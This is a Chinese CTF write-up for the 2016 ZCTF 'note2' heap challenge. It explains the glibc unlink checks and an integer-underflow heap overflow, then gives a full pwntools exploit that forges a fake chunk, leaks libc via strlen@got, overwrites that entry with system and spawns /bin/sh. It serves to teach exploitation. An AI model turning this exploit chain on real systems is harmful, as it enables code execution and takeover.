[pwn] 2016_zctf_note2 (Unlink)
算是unlink的一道经典题目，借助这道题来整理一下Unlink任意写的基本使用方法与注意事项。exp参照官方wp做了调整。
这里不对题目本身做太多逆向分析，下面是下载链接，包含了题目和exp：
点击下载
0x00 Unlink的原理
unlink的过程
Unlink顾名思义就是把元素从链表取出的一种操作，这种操作常常发生在malloc和执行free后内存块合并的过程。这是unlink的流程图：
可以简单归结为FD->bk = fd , BK->fd = bk ，也就是指针值的传递。
向低地址合并
这里着重讨论见得较多的情况：向前合并。
如果被free的是一个非fastbin大小的内存块，将会优先从内存低地址区域寻找空闲部分进行合并（尔后再尝试向高地址合并）。向低地址合并前，被合并的块（位于高地址）需要经过一些检查，这些检查也是我们构造exp时要注意绕过的地方：
| 检查目标 | 检查条件 | 报错信息 |
|---|---|---|
| size vs prev_size | chunksize(P) != prev_size (next_chunk(P)) | corrupted size vs. prev_size |
| Fd, bk 双向链表检查 | FD->bk != P || BK->fd != P | corrupted double-linked list |
| nextsize 双向链表 | P->fd_nextsize->bk_nextsize != P || P->bk_nextsize->fd_nextsize != P | corrupted double-linked list (not small) |
主要关注前两项，也就是内存块大小检查和双链表完整性检查。
- 内存块大小的检查是通过读取被检查内存块的nextchunk的prevsize与自身size作比较，而“prevsize”（不一定是真的prevsize）的位置又是由size决定。于是我们就可以在原有的chunk中利用可写的部分伪造出一个fake_chunk，在这个chunk的末尾pad上一个fake_prevsize，从而绕过了对被合并内存块的大小检查。
- 双向链表的完整性检查其实通俗而言就是检查：上一个节点的下一个节点是不是自己，下一个节点的上一个节点是不是自己。这个检查通过对前后节点bk，fd域和自身起始地址的比较实现。意味着，只要找到静态数据区域中记录了本区块地址的位置addr，构造 p->fd = addr-0x18 和 p->bk = addr-0x10就可以绕过该检查
关于为什么要unlink
这是glibc实现向前合并的部分代码：
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size(p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}其实我不能从linux开发者的角度而言完整的解释unlink存在的必要性。但是通过对bins特性的分析可以知道，通常bins中链接的是大小相同的chunk，当合并动作发生，改变了原有chunk的大小，就需要脱出原先的bins（unlink），加入unsortedbin中，减少内存中的碎片。需要注意的是，如果向前合并后发现向后可以直接合并进入top chunk那么将会整个进入top chunk，调试的时候要留心一下。
0x01 题目分析
首先要想构造fakechunk起码得找个能堆溢出的地方，一开始检查了好几遍输入函数都没发现整数溢出（还是题见得少）。
unsigned __int64 __fastcall get_input(__int64 ptr, __int64 len, char EOF)
{
char endchar; // [rsp+Ch] [rbp-34h]
char buf; // [rsp+2Fh] [rbp-11h]
unsigned __int64 i; // [rsp+30h] [rbp-10h]
ssize_t num; // [rsp+38h] [rbp-8h]
endchar = EOF;
for ( i = 0LL; len - 1 > i; ++i ) // i是无符号的，在做比较的时候会化为无符号比较，若len为0，则len-1为0xFFFFFFFFFFFFFFFF，导致条件永真，堆溢出
{
num = read(0, &buf, 1uLL);
if ( num <= 0 )
exit(-1);
if ( buf == endchar )
break;
*(_BYTE *)(i + ptr) = buf;
}
*(_BYTE *)(ptr + i) = 0;
return i;
}这个函数中，for循环的 i 是无符号整数，在与len-1作比较时会先将len-1也转化为无符号类型，这时候如果len传入1，len-1将变成0xFFFFFFFFFFFFFFFF，使得表达式恒成立，可以不加限制地进行输入，导致了堆块的溢出。
该程序会将申请到的堆块指针和申请的大小保存在全局变量区，修改这部分内容可能可以利用程序自身的edit功能进行任意写。
顺带一提，程序关闭了GOT表保护，这提示了我们可以通过改写got表来getshell。
0x02 exp思路
这题的堆块创建次数最多4次，所以不太方便用fastbin attack进行任意写，于是尝试unlink。
构造任意写到全局变量
chunk[0] 首先需要一个容纳fakechunk的内存块，我们设想的fakechunk只需要包含一个fastchunk + 一个fake_prevsize域就够了。同时要留意，我们后面的步骤可能要借助edit功能写某些地址，所以申请的size可以大一些，不然可能到时可写的字节数不够。经过计算，申请0x40获得一个0x50的块是最划算的大小。
chunk[1] 其次需要利用整数溢出，申请大小为“0”的块达到无限制输入。但是由于堆的分配机制，会给用户分配0x20大小的堆块。
chunk[2] 最后需要一个0x90（申请0x80）的small chunk，这样释放之后才能触发向前合并从而触发unlink
按照上文在chunk[0]中将fakechunk的fd和bk设置为：&chunk[0]-0x18，&chunk[0]-0x10，并利用溢出修改chunk[2]的prevsize和prev_inuse域。此时free掉chunk[2]便可以触发unlink，使得原来存放 &chunk[0] 的地址存放了 &chunk[0]-0x18 。
只要用edit功能从chunk[0]-0x18开始往后写并覆盖chunk[0]为strlen@got的地址，再show chunk[0]就可以泄露libc拿到system地址。
同样的方法修改strlen@got的值为system地址，这时只要出现了strlen("/bin/sh\x00"); 就相当于执行了"system("/bin/sh\x00")"
exp
#!/usr/bin/python3
from pwn import *
p=process("./note2")
elf=ELF("./note2")
libc=ELF("./libc.so.6")
context.log_level="debug"
strlen_plt=elf.plt[b"strlen"]
strlen_got=elf.got[b"strlen"]
def new(content,length:int):
p.recvuntil(b'option--->>')
p.sendline(b"1")
p.recvuntil(b"Input the length of the note content:(less than 128)\n")
p.sendline(str(length).encode())
p.recvuntil(b"Input the note content:\n")
p.sendline(content)
pass
def show(idx:int):
p.recvuntil(b'option--->>')
p.sendline(b"2")
p.recvuntil(b"Input the id of the note:\n")
p.sendline(str(idx).encode())
pass
def edit(idx:int,mode:int,content):
p.recvuntil(b'option--->>')
p.sendline(b"3")
p.recvuntil(b"Input the id of the note:\n")
p.sendline(str(idx).encode())
p.recvuntil(b"do you want to overwrite or append?[1.overwrite/2.append]\n")
p.sendline(str(mode).encode())
p.recvuntil(b"TheNewContents:")
p.sendline(content)
pass
def delete(idx:int):
p.recvuntil(b'option--->>')
p.sendline(b"4")
p.recvuntil(b"Input the id of the note:\n")
p.sendline(str(idx).encode())
pass
def exp():
name=b"aaaa"
address=b"bbbb"
p.recvuntil(b"Input your name:\n")
p.sendline(name)
p.recvuntil(b"Input your address:\n")
p.sendline(address)
#1 unlink
list_head = 0x602120
fake_fd = list_head-0x18
fake_bk = list_head-0x10 #result: fake_bk->fd == fake_fd
#payload1=b"a"*8+p64(0x61)+p64(fake_fd)+p64(fake_bk)+b'a'*64+p64(0x60)
payload1=b"a"*8+p64(0x21)+p64(fake_fd)+p64(fake_bk)+p64(0x20)
new(payload1,0x40) #idx0
new(b"b"*0x8,0) #idx1
new(b"c"*0x10,0x80) #idx2
delete(1) # del idx1
payload2=b"b"*0x10+p64(0x60)+p64(0x90)
new(payload2,0) #idx3
delete(2)
#2 rewrite&leak
payload3=b"d"*0x18+p64(strlen_got)
edit(0,1,payload3)
show(0)
#gdb.attach(p)
p.recvuntil(b"Content is ")
strlen = u64(p.recvuntil(b"\n",drop=True).ljust(8,b"\x00"))
system=libc.symbols[b"system"]-libc.symbols[b"strlen"]+strlen
print("strlen@got: ",hex(strlen_got))
print("strlen: ",hex(strlen))
print("system: ",hex(system))
#3 edit strlen@got to system
payload4=p64(system)
edit(0,1,payload4)
edit(0,1,b"/bin/sh\x00") #trigger to use "strlen()" so that jump to system()
#getshell
p.interactive()
if __name__=="__main__":
exp()方法思路不唯一，欢迎补充。